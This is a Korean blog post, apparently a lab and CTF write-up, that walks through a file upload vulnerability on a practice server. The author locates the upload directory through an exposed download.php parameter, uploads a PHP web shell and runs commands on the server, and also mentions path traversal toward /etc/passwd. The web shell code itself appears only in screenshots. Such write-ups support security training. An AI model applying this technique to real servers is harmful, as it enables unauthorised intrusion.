&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;실습 사이트에서 진행하는데 먼저 test123 이라는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;계정을 생성 했습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cE63oF/dJMcahb5dA4/N33gYNGqpDkY9tBp0k3Jv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cE63oF/dJMcahb5dA4/N33gYNGqpDkY9tBp0k3Jv0/img.png&quot; data-origin-width=&quot;2466&quot; data-origin-height=&quot;1236&quot; data-is-animation=&quot;false&quot; style=&quot;width: 39.6124%; margin-right: 10px;&quot; data-widthpercent=&quot;40.08&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cE63oF/dJMcahb5dA4/N33gYNGqpDkY9tBp0k3Jv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcE63oF%2FdJMcahb5dA4%2FN33gYNGqpDkY9tBp0k3Jv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2466&quot; height=&quot;1236&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bX9CJj/dJMcacPoKvi/ZRrUJwrQhDnXQmkVdpohn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bX9CJj/dJMcacPoKvi/ZRrUJwrQhDnXQmkVdpohn1/img.png&quot; data-origin-width=&quot;525&quot; data-origin-height=&quot;176&quot; data-is-animation=&quot;false&quot; style=&quot;width: 59.2248%;&quot; data-widthpercent=&quot;59.92&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bX9CJj/dJMcacPoKvi/ZRrUJwrQhDnXQmkVdpohn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbX9CJj%2FdJMcacPoKvi%2FZRrUJwrQhDnXQmkVdpohn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;525&quot; height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5rH4O/dJMcaaYlpoc/N9QHS4kl8eAWpfqM5hmhpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5rH4O/dJMcaaYlpoc/N9QHS4kl8eAWpfqM5hmhpK/img.png&quot; data-origin-width=&quot;1442&quot; data-origin-height=&quot;1474&quot; data-is-animation=&quot;false&quot; style=&quot;width: 28.1287%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;28.46&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5rH4O/dJMcaaYlpoc/N9QHS4kl8eAWpfqM5hmhpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5rH4O%2FdJMcaaYlpoc%2FN9QHS4kl8eAWpfqM5hmhpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1442&quot; height=&quot;1474&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmcyQo/dJMcahiRUCH/lm7LZOarbNH9JogIgcgo71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmcyQo/dJMcahiRUCH/lm7LZOarbNH9JogIgcgo71/img.png&quot; data-origin-width=&quot;2319&quot; data-origin-height=&quot;943&quot; data-is-animation=&quot;false&quot; style=&quot;width: 70.7085%; margin-top: 10px;&quot; data-widthpercent=&quot;71.54&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmcyQo/dJMcahiRUCH/lm7LZOarbNH9JogIgcgo71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmcyQo%2FdJMcahiRUCH%2Flm7LZOarbNH9JogIgcgo71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2319&quot; height=&quot;943&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test.php 미리 생성하고 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;게시판에서 파일 업로드 취약점이 있는지&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테스트 해보겠습니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;여기서 중요한 점은 내가&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;올린 파&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;일이 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;어디에서 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;실행이 되는지(저장이 되는지) 확인 해야하며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;즉 어디에 업로드가 되는지를 꼭 확인해봐야 합니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;php 파일이 실행되는 조건이 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;1.&amp;nbsp; WAS 위치에 있어야된다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;(서버마다 파일을 보관하는 위치가 다르기 때문에)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;2. 업로드 경로를 찾아내야한다. WEB 경로&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Ex) 서버에 /user_file , /root_file이 존재하고 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;제가 업로드한 파일이에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;/user_file &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;올라갔다고 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;한다면..... 아무리 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;../../올라간다 한들 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;root 경로가 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;존재하기 때문에&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;/etc/passwd를 볼 수가 없습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그렇기 때문 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;업로드 경로를 찾아내야한다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;하지만 업로드 경로를 찾는게 쉽지만은 않습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;그래서 정상 파일을 올려봐서 어디에 업로드 되는지 확인합니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;** 업로드한 파일을 다운로드&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;기본문제&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJEkIZ/dJMcaaKOjzI/ItL3Jcl6Zu0HkYQsJgraN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJEkIZ/dJMcaaKOjzI/ItL3Jcl6Zu0HkYQsJgraN0/img.png&quot; data-origin-width=&quot;1190&quot; data-origin-height=&quot;803&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.3465%; margin-right: 10px;&quot; data-widthpercent=&quot;50.94&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJEkIZ/dJMcaaKOjzI/ItL3Jcl6Zu0HkYQsJgraN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJEkIZ%2FdJMcaaKOjzI%2FItL3Jcl6Zu0HkYQsJgraN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1190&quot; height=&quot;803&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfVEym/dJMcahpDFyA/DhZxsMTjOrcViOBtQXzKkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfVEym/dJMcahpDFyA/DhZxsMTjOrcViOBtQXzKkk/img.png&quot; data-origin-width=&quot;1463&quot; data-origin-height=&quot;1025&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.4907%;&quot; data-widthpercent=&quot;49.06&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfVEym/dJMcahpDFyA/DhZxsMTjOrcViOBtQXzKkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfVEym%2FdJMcahpDFyA%2FDhZxsMTjOrcViOBtQXzKkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1463&quot; height=&quot;1025&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://ctf2.segfaulthub.com:9992/download.php?file=test.php&amp;amp;target_Dir=./file/uploads&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;실습서버 /download.php?file=test.php&amp;amp;target_Dir=./file/uploads&lt;/a&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;여기서 자세히 보게 되면 다운로드 출처를 알 수 있으며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;/file/uploads 디렉토리가 있습니다. 여기가 바로 업로드 경로 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1645&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IhHOT/dJMcahiRU0j/oul3vQOiqQ4XHWhTygjadK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IhHOT/dJMcahiRU0j/oul3vQOiqQ4XHWhTygjadK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IhHOT/dJMcahiRU0j/oul3vQOiqQ4XHWhTygjadK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIhHOT%2FdJMcahiRU0j%2Foul3vQOiqQ4XHWhTygjadK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1645&quot; height=&quot;203&quot; data-origin-width=&quot;1645&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;/file/uploads/test.php&amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테스트를 진행한 결과 잘 보여지고 있습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이제 web shell 코드를 올려봅시다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VuEu2/dJMb99LSWnG/LfIcrakZjQp4kAWq1cz3EK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VuEu2/dJMb99LSWnG/LfIcrakZjQp4kAWq1cz3EK/img.png&quot; data-origin-width=&quot;1403&quot; data-origin-height=&quot;1493&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.838%; margin-right: 10px;&quot; data-widthpercent=&quot;47.39&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VuEu2/dJMb99LSWnG/LfIcrakZjQp4kAWq1cz3EK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVuEu2%2FdJMb99LSWnG%2FLfIcrakZjQp4kAWq1cz3EK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1403&quot; height=&quot;1493&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vioef/dJMcai9Q9XX/zEO45yGYV6KmkShyK2mH2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vioef/dJMcai9Q9XX/zEO45yGYV6KmkShyK2mH2K/img.png&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;832&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.9992%;&quot; data-widthpercent=&quot;52.61&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vioef/dJMcai9Q9XX/zEO45yGYV6KmkShyK2mH2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvioef%2FdJMcai9Q9XX%2FzEO45yGYV6KmkShyK2mH2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;868&quot; height=&quot;832&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test123.php (web shell) 파일을 올려보겠습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;/file/uploads/test123.php 올라가있는지 확인했으며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1726&quot; data-origin-height=&quot;169&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btX5tr/dJMb99SFSB5/QrmfLZ4SNV7jgmurX5j1Y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btX5tr/dJMb99SFSB5/QrmfLZ4SNV7jgmurX5j1Y1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btX5tr/dJMb99SFSB5/QrmfLZ4SNV7jgmurX5j1Y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtX5tr%2FdJMb99SFSB5%2FQrmfLZ4SNV7jgmurX5j1Y1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1726&quot; height=&quot;169&quot; data-origin-width=&quot;1726&quot; data-origin-height=&quot;169&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 업로드 취약점을 이용하여 cmd 명령어를 사용했으며 그로인해 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버 id를 확인했으며 서버까지 접근한 것을 확인했습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;CTF F&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Web Shell 1&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pbOTC/dJMcabbSiRy/GvNBWMRqZkczeiBPthZO3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pbOTC/dJMcabbSiRy/GvNBWMRqZkczeiBPthZO3k/img.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;617&quot; data-is-animation=&quot;false&quot; style=&quot;width: 34.9362%; margin-right: 10px;&quot; data-widthpercent=&quot;35.77&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pbOTC/dJMcabbSiRy/GvNBWMRqZkczeiBPthZO3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpbOTC%2FdJMcabbSiRy%2FGvNBWMRqZkczeiBPthZO3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;996&quot; height=&quot;617&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bws1mV/dJMcacaNopX/RLleHNfbQRFFkbCHUWRsGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bws1mV/dJMcacaNopX/RLleHNfbQRFFkbCHUWRsGk/img.png&quot; data-origin-width=&quot;1706&quot; data-origin-height=&quot;1158&quot; data-is-animation=&quot;false&quot; style=&quot;width: 31.8839%; margin-right: 10px;&quot; data-widthpercent=&quot;32.64&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bws1mV/dJMcacaNopX/RLleHNfbQRFFkbCHUWRsGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbws1mV%2FdJMcacaNopX%2FRLleHNfbQRFFkbCHUWRsGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1706&quot; height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5wlfd/dJMcac9DV7Z/VnHlbKDEmSqScHB2JCLXQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5wlfd/dJMcac9DV7Z/VnHlbKDEmSqScHB2JCLXQK/img.png&quot; data-origin-width=&quot;1745&quot; data-origin-height=&quot;1224&quot; data-is-animation=&quot;false&quot; style=&quot;width: 30.8543%;&quot; data-widthpercent=&quot;31.59&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5wlfd/dJMcac9DV7Z/VnHlbKDEmSqScHB2JCLXQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5wlfd%2FdJMcac9DV7Z%2FVnHlbKDEmSqScHB2JCLXQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1745&quot; height=&quot;1224&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
